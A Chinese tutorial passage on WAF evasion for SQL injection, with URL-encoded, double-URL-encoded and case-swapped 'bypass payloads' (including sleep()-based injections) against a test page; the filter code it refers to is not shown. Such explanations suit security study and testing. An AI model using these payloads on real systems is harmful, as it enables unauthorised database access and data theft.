接收用户传递的参数后直接带入数据库中执行。为了方便查看,将查询语句动态输出。
1. 各种编码绕过
绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。
a) URL编码:
增加了过滤规则的代码:
代码中增加了特殊字符过滤,但在参数值进入数据库查询语句前多了一步解码操作:
$id= urldecode($id);正常payload:
?id=1' and '1'='2
直接提交攻击语句,单引号被过滤,注入语句未成功插入。
绕过payload:
?id= %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
对参数值进行URL编码后可绕过过滤检测,注入语句成功写入。
b) 二次URL编码
增加了过滤规则的代码:
代码中在特殊字符过滤前又多增加了一步解码操作,可使用二次URL编码进行绕过。
正常payload:
?id=1'and '1'='2
?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
使用一次URL编码绕过后,由于在过滤前会进行一次解码操作,所以单引号还是被过滤掉,注入语句未成功插入。
绕过payload:
?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32
使用二次URL编码后可绕过过滤检测,注入语句成功写入。
c) 其他编码
除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,此处不再重复。
2. 字母大小写转换绕过部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过。
增加了过滤规则的代码:
正常payload:
?id=1' and sleep(3) and '1'='1
?id=1' and SLEEP(3) and '1'='1
绕过payload:
?id=1' and sleeP(3) and '1'='1
?id=1' and slEeP(3) and '1'='1